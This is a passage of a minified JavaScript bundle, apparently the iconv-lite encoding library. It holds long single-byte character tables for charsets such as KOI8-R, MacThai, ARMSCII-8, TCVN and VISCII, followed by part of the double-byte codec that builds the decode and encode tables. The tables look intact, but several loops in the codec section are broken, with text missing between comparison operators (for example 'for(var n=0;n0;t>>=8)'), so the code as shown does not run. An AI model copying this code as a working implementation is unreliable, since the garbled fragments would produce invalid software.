CF\xCC\xD3\xD4\uFFFD\xD2\xDA\xDB\xD9\u0131\u02C6\u02DC\xAF\u02D8\u02D9\u02DA\xB8\u02DD\u02DB\u02C7"},macromania:{type:"_sbcs",chars:"\xC4\xC5\xC7\xC9\xD1\xD6\xDC\xE1\xE0\xE2\xE4\xE3\xE5\xE7\xE9\xE8\xEA\xEB\xED\xEC\xEE\xEF\xF1\xF3\xF2\xF4\xF6\xF5\xFA\xF9\xFB\xFC\u2020\xB0\xA2\xA3\xA7\u2022\xB6\xDF\xAE\xA9\u2122\xB4\xA8\u2260\u0102\u015E\u221E\xB1\u2264\u2265\xA5\xB5\u2202\u2211\u220F\u03C0\u222B\xAA\xBA\u2126\u0103\u015F\xBF\xA1\xAC\u221A\u0192\u2248\u2206\xAB\xBB\u2026\xA0\xC0\xC3\xD5\u0152\u0153\u2013\u2014\u201C\u201D\u2018\u2019\xF7\u25CA\xFF\u0178\u2044\xA4\u2039\u203A\u0162\u0163\u2021\xB7\u201A\u201E\u2030\xC2\xCA\xC1\xCB\xC8\xCD\xCE\xCF\xCC\xD3\xD4\uFFFD\xD2\xDA\xDB\xD9\u0131\u02C6\u02DC\xAF\u02D8\u02D9\u02DA\xB8\u02DD\u02DB\u02C7"},macthai:{type:"_sbcs",chars:"\xAB\xBB\u2026\uF88C\uF88F\uF892\uF895\uF898\uF88B\uF88E\uF891\uF894\uF897\u201C\u201D\uF899\uFFFD\u2022\uF884\uF889\uF885\uF886\uF887\uF888\uF88A\uF88D\uF890\uF893\uF896\u2018\u2019\uFFFD\xA0\u0E01\u0E02\u0E03\u0E04\u0E05\u0E06\u0E07\u0E08\u0E09\u0E0A\u0E0B\u0E0C\u0E0D\u0E0E\u0E0F\u0E10\u0E11\u0E12\u0E13\u0E14\u0E15\u0E16\u0E17\u0E18\u0E19\u0E1A\u0E1B\u0E1C\u0E1D\u0E1E\u0E1F\u0E20\u0E21\u0E22\u0E23\u0E24\u0E25\u0E26\u0E27\u0E28\u0E29\u0E2A\u0E2B\u0E2C\u0E2D\u0E2E\u0E2F\u0E30\u0E31\u0E32\u0E33\u0E34\u0E35\u0E36\u0E37\u0E38\u0E39\u0E3A\uFEFF\u200B\u2013\u2014\u0E3F\u0E40\u0E41\u0E42\u0E43\u0E44\u0E45\u0E46\u0E47\u0E48\u0E49\u0E4A\u0E4B\u0E4C\u0E4D\u2122\u0E4F\u0E50\u0E51\u0E52\u0E53\u0E54\u0E55\u0E56\u0E57\u0E58\u0E59\xAE\xA9\uFFFD\uFFFD\uFFFD\uFFFD"},macturkish:{type:"_sbcs",chars:"\xC4\xC5\xC7\xC9\xD1\xD6\xDC\xE1\xE0\xE2\xE4\xE3\xE5\xE7\xE9\xE8\xEA\xEB\xED\xEC\xEE\xEF\xF1\xF3\xF2\xF4\xF6\xF5\xFA\xF9\xFB\xFC\u2020\xB0\xA2\xA3\xA7\u2022\xB6\xDF\xAE\xA9\u2122\xB4\xA8\u2260\xC6\xD8\u221E\xB1\u2264\u2265\xA5\xB5\u2202\u2211\u220F\u03C0\u222B\xAA\xBA\u2126\xE6\xF8\xBF\xA1\xAC\u221A\u0192\u2248\u2206\xAB\xBB\u2026\xA0\xC0\xC3\xD5\u0152\u0153\u2013\u2014\u201C\u201D\u2018\u2019\xF7\u25CA\xFF\u0178\u011E\u011F\u0130\u0131\u015E\u015F\u2021\xB7\u201A\u201E\u2030\xC2\xCA\xC1\xCB\xC8\xCD\xCE\xCF\xCC\xD3\xD4\uFFFD\xD2\xDA\xDB\xD9\uFFFD\u02C6\u02DC\xAF\u02D8\u02D9\u02DA\xB8\u02DD\u02DB\u02C7"},macukraine:{type:"_sbcs",chars:"\u0410\u0411\u0412\u0413\u0414\u0415\u0416\u0417\u0418\u0419\u041A\u041B\u041C\u041D\u041E\u041F\u0420\u0421\u0422\u0423\u0424\u0425\u0426\u0427\u0428\u0429\u042A\u042B\u042C\u042D\u042E\u042F\u2020\xB0\u0490\xA3\xA7\u2022\xB6\u0406\xAE\xA9\u2122\u0402\u0452\u2260\u0403\u0453\u221E\xB1\u2264\u2265\u0456\xB5\u0491\u0408\u0404\u0454\u0407\u0457\u0409\u0459\u040A\u045A\u0458\u0405\xAC\u221A\u0192\u2248\u2206\xAB\xBB\u2026\xA0\u040B\u045B\u040C\u045C\u0455\u2013\u2014\u201C\u201D\u2018\u2019\xF7\u201E\u040E\u045E\u040F\u045F\u2116\u0401\u0451\u044F\u0430\u0431\u0432\u0433\u0434\u0435\u0436\u0437\u0438\u0439\u043A\u043B\u043C\u043D\u043E\u043F\u0440\u0441\u0442\u0443\u0444\u0445\u0446\u0447\u0448\u0449\u044A\u044B\u044C\u044D\u044E\xA4"},koi8r:{type:"_sbcs",chars:"\u2500\u2502\u250C\u2510\u2514\u2518\u251C\u2524\u252C\u2534\u253C\u2580\u2584\u2588\u258C\u2590\u2591\u2592\u2593\u2320\u25A0\u2219\u221A\u2248\u2264\u2265\xA0\u2321\xB0\xB2\xB7\xF7\u2550\u2551\u2552\u0451\u2553\u2554\u2555\u2556\u2557\u2558\u2559\u255A\u255B\u255C\u255D\u255E\u255F\u2560\u2561\u0401\u2562\u2563\u2564\u2565\u2566\u2567\u2568\u2569\u256A\u256B\u256C\xA9\u044E\u0430\u0431\u0446\u0434\u0435\u0444\u0433\u0445\u0438\u0439\u043A\u043B\u043C\u043D\u043E\u043F\u044F\u0440\u0441\u0442\u0443\u0436\u0432\u044C\u044B\u0437\u0448\u044D\u0449\u0447\u044A\u042E\u0410\u0411\u0426\u0414\u0415\u0424\u0413\u0425\u0418\u0419\u041A\u041B\u041C\u041D\u041E\u041F\u042F\u0420\u0421\u0422\u0423\u0416\u0412\u042C\u042B\u0417\u0428\u042D\u0429\u0427\u042A"},koi8u:{type:"_sbcs",chars:"\u2500\u2502\u250C\u2510\u2514\u2518\u251C\u2524\u252C\u2534\u253C\u2580\u2584\u2588\u258C\u2590\u2591\u2592\u2593\u2320\u25A0\u2219\u221A\u2248\u2264\u2265\xA0\u2321\xB0\xB2\xB7\xF7\u2550\u2551\u2552\u0451\u0454\u2554\u0456\u0457\u2557\u2558\u2559\u255A\u255B\u0491\u255D\u255E\u255F\u2560\u2561\u0401\u0404\u2563\u0406\u0407\u2566\u2567\u2568\u2569\u256A\u0490\u256C\xA9\u044E\u0430\u0431\u0446\u0434\u0435\u0444\u0433\u0445\u0438\u0439\u043A\u043B\u043C\u043D\u043E\u043F\u044F\u0440\u0441\u0442\u0443\u0436\u0432\u044C\u044B\u0437\u0448\u044D\u0449\u0447\u044A\u042E\u0410\u0411\u0426\u0414\u0415\u0424\u0413\u0425\u0418\u0419\u041A\u041B\u041C\u041D\u041E\u041F\u042F\u0420\u0421\u0422\u0423\u0416\u0412\u042C\u042B\u0417\u0428\u042D\u0429\u0427\u042A"},koi8ru:{type:"_sbcs",chars:"\u2500\u2502\u250C\u2510\u2514\u2518\u251C\u2524\u252C\u2534\u253C\u2580\u2584\u2588\u258C\u2590\u2591\u2592\u2593\u2320\u25A0\u2219\u221A\u2248\u2264\u2265\xA0\u2321\xB0\xB2\xB7\xF7\u2550\u2551\u2552\u0451\u0454\u2554\u0456\u0457\u2557\u2558\u2559\u255A\u255B\u0491\u045E\u255E\u255F\u2560\u2561\u0401\u0404\u2563\u0406\u0407\u2566\u2567\u2568\u2569\u256A\u0490\u040E\xA9\u044E\u0430\u0431\u0446\u0434\u0435\u0444\u0433\u0445\u0438\u0439\u043A\u043B\u043C\u043D\u043E\u043F\u044F\u0440\u0441\u0442\u0443\u0436\u0432\u044C\u044B\u0437\u0448\u044D\u0449\u0447\u044A\u042E\u0410\u0411\u0426\u0414\u0415\u0424\u0413\u0425\u0418\u0419\u041A\u041B\u041C\u041D\u041E\u041F\u042F\u0420\u0421\u0422\u0423\u0416\u0412\u042C\u042B\u0417\u0428\u042D\u0429\u0427\u042A"},koi8t:{type:"_sbcs",chars:"\u049B\u0493\u201A\u0492\u201E\u2026\u2020\u2021\uFFFD\u2030\u04B3\u2039\u04B2\u04B7\u04B6\uFFFD\u049A\u2018\u2019\u201C\u201D\u2022\u2013\u2014\uFFFD\u2122\uFFFD\u203A\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\u04EF\u04EE\u0451\xA4\u04E3\xA6\xA7\uFFFD\uFFFD\uFFFD\xAB\xAC\xAD\xAE\uFFFD\xB0\xB1\xB2\u0401\uFFFD\u04E2\xB6\xB7\uFFFD\u2116\uFFFD\xBB\uFFFD\uFFFD\uFFFD\xA9\u044E\u0430\u0431\u0446\u0434\u0435\u0444\u0433\u0445\u0438\u0439\u043A\u043B\u043C\u043D\u043E\u043F\u044F\u0440\u0441\u0442\u0443\u0436\u0432\u044C\u044B\u0437\u0448\u044D\u0449\u0447\u044A\u042E\u0410\u0411\u0426\u0414\u0415\u0424\u0413\u0425\u0418\u0419\u041A\u041B\u041C\u041D\u041E\u041F\u042F\u0420\u0421\u0422\u0423\u0416\u0412\u042C\u042B\u0417\u0428\u042D\u0429\u0427\u042A"},armscii8:{type:"_sbcs",chars:"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\uFFFD\u0587\u0589)(\xBB\xAB\u2014.\u055D,-\u058A\u2026\u055C\u055B\u055E\u0531\u0561\u0532\u0562\u0533\u0563\u0534\u0564\u0535\u0565\u0536\u0566\u0537\u0567\u0538\u0568\u0539\u0569\u053A\u056A\u053B\u056B\u053C\u056C\u053D\u056D\u053E\u056E\u053F\u056F\u0540\u0570\u0541\u0571\u0542\u0572\u0543\u0573\u0544\u0574\u0545\u0575\u0546\u0576\u0547\u0577\u0548\u0578\u0549\u0579\u054A\u057A\u054B\u057B\u054C\u057C\u054D\u057D\u054E\u057E\u054F\u057F\u0550\u0580\u0551\u0581\u0552\u0582\u0553\u0583\u0554\u0584\u0555\u0585\u0556\u0586\u055A\uFFFD"},rk1048:{type:"_sbcs",chars:"\u0402\u0403\u201A\u0453\u201E\u2026\u2020\u2021\u20AC\u2030\u0409\u2039\u040A\u049A\u04BA\u040F\u0452\u2018\u2019\u201C\u201D\u2022\u2013\u2014\uFFFD\u2122\u0459\u203A\u045A\u049B\u04BB\u045F\xA0\u04B0\u04B1\u04D8\xA4\u04E8\xA6\xA7\u0401\xA9\u0492\xAB\xAC\xAD\xAE\u04AE\xB0\xB1\u0406\u0456\u04E9\xB5\xB6\xB7\u0451\u2116\u0493\xBB\u04D9\u04A2\u04A3\u04AF\u0410\u0411\u0412\u0413\u0414\u0415\u0416\u0417\u0418\u0419\u041A\u041B\u041C\u041D\u041E\u041F\u0420\u0421\u0422\u0423\u0424\u0425\u0426\u0427\u0428\u0429\u042A\u042B\u042C\u042D\u042E\u042F\u0430\u0431\u0432\u0433\u0434\u0435\u0436\u0437\u0438\u0439\u043A\u043B\u043C\u043D\u043E\u043F\u0440\u0441\u0442\u0443\u0444\u0445\u0446\u0447\u0448\u0449\u044A\u044B\u044C\u044D\u044E\u044F"},tcvn:{type:"_sbcs",chars:`\0\xDA\u1EE4\u1EEA\u1EEC\u1EEE\x07\b \v\f\r\u1EE8\u1EF0\u1EF2\u1EF6\u1EF8\xDD\u1EF4\x1B !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_\`abcdefghijklmnopqrstuvwxyz{|}~\x7F\xC0\u1EA2\xC3\xC1\u1EA0\u1EB6\u1EAC\xC8\u1EBA\u1EBC\xC9\u1EB8\u1EC6\xCC\u1EC8\u0128\xCD\u1ECA\xD2\u1ECE\xD5\xD3\u1ECC\u1ED8\u1EDC\u1EDE\u1EE0\u1EDA\u1EE2\xD9\u1EE6\u0168\xA0\u0102\xC2\xCA\xD4\u01A0\u01AF\u0110\u0103\xE2\xEA\xF4\u01A1\u01B0\u0111\u1EB0\u0300\u0309\u0303\u0301\u0323\xE0\u1EA3\xE3\xE1\u1EA1\u1EB2\u1EB1\u1EB3\u1EB5\u1EAF\u1EB4\u1EAE\u1EA6\u1EA8\u1EAA\u1EA4\u1EC0\u1EB7\u1EA7\u1EA9\u1EAB\u1EA5\u1EAD\xE8\u1EC2\u1EBB\u1EBD\xE9\u1EB9\u1EC1\u1EC3\u1EC5\u1EBF\u1EC7\xEC\u1EC9\u1EC4\u1EBE\u1ED2\u0129\xED\u1ECB\xF2\u1ED4\u1ECF\xF5\xF3\u1ECD\u1ED3\u1ED5\u1ED7\u1ED1\u1ED9\u1EDD\u1EDF\u1EE1\u1EDB\u1EE3\xF9\u1ED6\u1EE7\u0169\xFA\u1EE5\u1EEB\u1EED\u1EEF\u1EE9\u1EF1\u1EF3\u1EF7\u1EF9\xFD\u1EF5\u1ED0`},georgianacademy:{type:"_sbcs",chars:"\x80\x81\u201A\u0192\u201E\u2026\u2020\u2021\u02C6\u2030\u0160\u2039\u0152\x8D\x8E\x8F\x90\u2018\u2019\u201C\u201D\u2022\u2013\u2014\u02DC\u2122\u0161\u203A\u0153\x9D\x9E\u0178\xA0\xA1\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xAB\xAC\xAD\xAE\xAF\xB0\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xBB\xBC\xBD\xBE\xBF\u10D0\u10D1\u10D2\u10D3\u10D4\u10D5\u10D6\u10D7\u10D8\u10D9\u10DA\u10DB\u10DC\u10DD\u10DE\u10DF\u10E0\u10E1\u10E2\u10E3\u10E4\u10E5\u10E6\u10E7\u10E8\u10E9\u10EA\u10EB\u10EC\u10ED\u10EE\u10EF\u10F0\u10F1\u10F2\u10F3\u10F4\u10F5\u10F6\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE\xEF\xF0\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFB\xFC\xFD\xFE\xFF"},georgianps:{type:"_sbcs",chars:"\x80\x81\u201A\u0192\u201E\u2026\u2020\u2021\u02C6\u2030\u0160\u2039\u0152\x8D\x8E\x8F\x90\u2018\u2019\u201C\u201D\u2022\u2013\u2014\u02DC\u2122\u0161\u203A\u0153\x9D\x9E\u0178\xA0\xA1\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xAB\xAC\xAD\xAE\xAF\xB0\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xBB\xBC\xBD\xBE\xBF\u10D0\u10D1\u10D2\u10D3\u10D4\u10D5\u10D6\u10F1\u10D7\u10D8\u10D9\u10DA\u10DB\u10DC\u10F2\u10DD\u10DE\u10DF\u10E0\u10E1\u10E2\u10F3\u10E3\u10E4\u10E5\u10E6\u10E7\u10E8\u10E9\u10EA\u10EB\u10EC\u10ED\u10EE\u10F4\u10EF\u10F0\u10F5\xE6\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE\xEF\xF0\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFB\xFC\xFD\xFE\xFF"},pt154:{type:"_sbcs",chars:"\u0496\u0492\u04EE\u0493\u201E\u2026\u04B6\u04AE\u04B2\u04AF\u04A0\u04E2\u04A2\u049A\u04BA\u04B8\u0497\u2018\u2019\u201C\u201D\u2022\u2013\u2014\u04B3\u04B7\u04A1\u04E3\u04A3\u049B\u04BB\u04B9\xA0\u040E\u045E\u0408\u04E8\u0498\u04B0\xA7\u0401\xA9\u04D8\xAB\xAC\u04EF\xAE\u049C\xB0\u04B1\u0406\u0456\u0499\u04E9\xB6\xB7\u0451\u2116\u04D9\xBB\u0458\u04AA\u04AB\u049D\u0410\u0411\u0412\u0413\u0414\u0415\u0416\u0417\u0418\u0419\u041A\u041B\u041C\u041D\u041E\u041F\u0420\u0421\u0422\u0423\u0424\u0425\u0426\u0427\u0428\u0429\u042A\u042B\u042C\u042D\u042E\u042F\u0430\u0431\u0432\u0433\u0434\u0435\u0436\u0437\u0438\u0439\u043A\u043B\u043C\u043D\u043E\u043F\u0440\u0441\u0442\u0443\u0444\u0445\u0446\u0447\u0448\u0449\u044A\u044B\u044C\u044D\u044E\u044F"},viscii:{type:"_sbcs",chars:`\0\u1EB2\u1EB4\u1EAA\x07\b \v\f\r\u1EF6\u1EF8\x1B\u1EF4 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_\`abcdefghijklmnopqrstuvwxyz{|}~\x7F\u1EA0\u1EAE\u1EB0\u1EB6\u1EA4\u1EA6\u1EA8\u1EAC\u1EBC\u1EB8\u1EBE\u1EC0\u1EC2\u1EC4\u1EC6\u1ED0\u1ED2\u1ED4\u1ED6\u1ED8\u1EE2\u1EDA\u1EDC\u1EDE\u1ECA\u1ECE\u1ECC\u1EC8\u1EE6\u0168\u1EE4\u1EF2\xD5\u1EAF\u1EB1\u1EB7\u1EA5\u1EA7\u1EA9\u1EAD\u1EBD\u1EB9\u1EBF\u1EC1\u1EC3\u1EC5\u1EC7\u1ED1\u1ED3\u1ED5\u1ED7\u1EE0\u01A0\u1ED9\u1EDD\u1EDF\u1ECB\u1EF0\u1EE8\u1EEA\u1EEC\u01A1\u1EDB\u01AF\xC0\xC1\xC2\xC3\u1EA2\u0102\u1EB3\u1EB5\xC8\xC9\xCA\u1EBA\xCC\xCD\u0128\u1EF3\u0110\u1EE9\xD2\xD3\xD4\u1EA1\u1EF7\u1EEB\u1EED\xD9\xDA\u1EF9\u1EF5\xDD\u1EE1\u01B0\xE0\xE1\xE2\xE3\u1EA3\u0103\u1EEF\u1EAB\xE8\xE9\xEA\u1EBB\xEC\xED\u0129\u1EC9\u0111\u1EF1\xF2\xF3\xF4\xF5\u1ECF\u1ECD\u1EE5\xF9\xFA\u0169\u1EE7\xFD\u1EE3\u1EEE`},iso646cn:{type:"_sbcs",chars:`\0\x07\b \v\f\r\x1B !"#\xA5%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_\`abcdefghijklmnopqrstuvwxyz{|}\u203E\x7F\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD`},iso646jp:{type:"_sbcs",chars:`\0\x07\b -\v\f\r\x1B !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\xA5]^_\`abcdefghijklmnopqrstuvwxyz{|}\u203E\x7F\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD`},hproman8:{type:"_sbcs",chars:"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\xC0\xC2\xC8\xCA\xCB\xCE\xCF\xB4\u02CB\u02C6\xA8\u02DC\xD9\xDB\u20A4\xAF\xDD\xFD\xB0\xC7\xE7\xD1\xF1\xA1\xBF\xA4\xA3\xA5\xA7\u0192\xA2\xE2\xEA\xF4\xFB\xE1\xE9\xF3\xFA\xE0\xE8\xF2\xF9\xE4\xEB\xF6\xFC\xC5\xEE\xD8\xC6\xE5\xED\xF8\xE6\xC4\xEC\xD6\xDC\xC9\xEF\xDF\xD4\xC1\xC3\xE3\xD0\xF0\xCD\xCC\xD3\xD2\xD5\xF5\u0160\u0161\xDA\u0178\xFF\xDE\xFE\xB7\xB5\xB6\xBE\u2014\xBC\xBD\xAA\xBA\xAB\u25A0\xBB\xB1\uFFFD"},macintosh:{type:"_sbcs",chars:"\xC4\xC5\xC7\xC9\xD1\xD6\xDC\xE1\xE0\xE2\xE4\xE3\xE5\xE7\xE9\xE8\xEA\xEB\xED\xEC\xEE\xEF\xF1\xF3\xF2\xF4\xF6\xF5\xFA\xF9\xFB\xFC\u2020\xB0\xA2\xA3\xA7\u2022\xB6\xDF\xAE\xA9\u2122\xB4\xA8\u2260\xC6\xD8\u221E\xB1\u2264\u2265\xA5\xB5\u2202\u2211\u220F\u03C0\u222B\xAA\xBA\u2126\xE6\xF8\xBF\xA1\xAC\u221A\u0192\u2248\u2206\xAB\xBB\u2026\xA0\xC0\xC3\xD5\u0152\u0153\u2013\u2014\u201C\u201D\u2018\u2019\xF7\u25CA\xFF\u0178\u2044\xA4\u2039\u203A\uFB01\uFB02\u2021\xB7\u201A\u201E\u2030\xC2\xCA\xC1\xCB\xC8\xCD\xCE\xCF\xCC\xD3\xD4\uFFFD\xD2\xDA\xDB\xD9\u0131\u02C6\u02DC\xAF\u02D8\u02D9\u02DA\xB8\u02DD\u02DB\u02C7"},ascii:{type:"_sbcs",chars:"\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD"},tis620:{type:"_sbcs",chars:"\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\u0E01\u0E02\u0E03\u0E04\u0E05\u0E06\u0E07\u0E08\u0E09\u0E0A\u0E0B\u0E0C\u0E0D\u0E0E\u0E0F\u0E10\u0E11\u0E12\u0E13\u0E14\u0E15\u0E16\u0E17\u0E18\u0E19\u0E1A\u0E1B\u0E1C\u0E1D\u0E1E\u0E1F\u0E20\u0E21\u0E22\u0E23\u0E24\u0E25\u0E26\u0E27\u0E28\u0E29\u0E2A\u0E2B\u0E2C\u0E2D\u0E2E\u0E2F\u0E30\u0E31\u0E32\u0E33\u0E34\u0E35\u0E36\u0E37\u0E38\u0E39\u0E3A\uFFFD\uFFFD\uFFFD\uFFFD\u0E3F\u0E40\u0E41\u0E42\u0E43\u0E44\u0E45\u0E46\u0E47\u0E48\u0E49\u0E4A\u0E4B\u0E4C\u0E4D\u0E4E\u0E4F\u0E50\u0E51\u0E52\u0E53\u0E54\u0E55\u0E56\u0E57\u0E58\u0E59\u0E5A\u0E5B\uFFFD\uFFFD\uFFFD\uFFFD"}}});var ov=V(iv=>{"use strict";var es=Ja().Buffer;iv._dbcs=sa;var Gt=-1,sv=-2,hr=-10,Hr=-1e3,Qn=new Array(256),Ri=-1;for(ec=0;ec<256;ec++)Qn[ec]=Gt;var ec;function sa(t,e){if(this.encodingName=t.encodingName,!t)throw new Error("DBCS codec is called without the data.");if(!t.table)throw new Error("Encoding '"+this.encodingName+"' has no data.");var r=t.table();this.decodeTables=[],this.decodeTables[0]=Qn.slice(0),this.decodeTableSeq=[];for(var n=0;n0;t>>=8)e.push(t&255);e.length==0&&e.push(0);for(var r=this.decodeTables[0],n=e.length-1;n>0;n--){var a=r[e[n]];if(a==Gt)r[e[n]]=Hr-this.decodeTables.length,this.decodeTables.push(r=Qn.slice(0));else if(a<=Hr)r=this.decodeTables[Hr-a];else throw new Error("Overwrite byte in "+this.encodingName+", addr: "+t.toString(16))}return r};sa.prototype._addDecodeChunk=function(t){var e=parseInt(t[0],16),r=this._getDecodeTrieNode(e);e=e&255;for(var n=1;n255)throw new Error("Incorrect chunk in "+this.encodingName+" at addr "+t[0]+": too long"+e)};sa.prototype._getEncodeBucket=function(t){var e=t>>8;return this.encodeTable[e]===void 0&&(this.encodeTable[e]=Qn.slice(0)),this.encodeTable[e]};sa.prototype._setEncodeChar=function(t,e){var r=this._getEncodeBucket(t),n=t&255;r[n]<=hr?this.encodeTableSeq[hr-r[n]][Ri]=e:r[n]==Gt&&(r[n]=e)};sa.prototype._setEncodeSequence=function(t,e){var r=t[0],n=this._getEncodeBucket(r),a=r&255,s;n[a]<=hr?s=this.encodeTableSeq[hr-n[a]]:(s={},n[a]!==Gt&&(s[Ri]=n[a]),n[a]=hr-this.encodeTableSeq.length,this.encodeTableSeq.push(s));for(var i=1;i=0?this._setEncodeChar(s,i):s<=Hr?this._fillEncodeTable(Hr-s,i<<8,r):s<=hr&&this._setEncodeSequence(this.decodeTableSeq[hr-s],i))}};function tc(t,e){this.leadSurrogate=-1,this.seqObj=void 0,this.encodeTable=e.encodeTable,this.encodeTableSeq=e.encodeTableSeq,this.defaultCharSingleByte=e.defCharSB,this.gb18030=e.gb18030}tc.prototype.write=function(t){for(var e=es.alloc(t.length*(this.gb18030?4:3)),r=this.leadSurrogate,n=this.seqObj,a=-1,s=0,i=0;;){if(a===-1){if(s==t.length)break;var o=t.charCodeAt(s++)}else{var o=a;a=-1}if(55296<=o&&o<57344)if(o<56320)if(r===-1){r=o;continue}else r=o,o=Gt;else r!==-1?(o=65536+(r-55296)*1024+(o-56320),r=-1):o=Gt;else r!==-1&&(a=o,o=Gt,r=-1);var c=Gt;if(n!==void 0&&o!=Gt){var u=n[o];if(typeof u=="object"){n=u;continue}else typeof u=="number"?c=u:u==null&&(u=n[Ri],u!==void 0&&(c=u,a=o));n=void 0}else if(o>=0){var l=this.encodeTable[o>>8];if(l!==void 0&&(c=l[o&255]),c<=hr){n=this.encodeTableSeq[hr-c];continue}if(c==Gt&&this.gb18030){var d=$d(this.gb18030.uChars,o);if(d!=-1){var 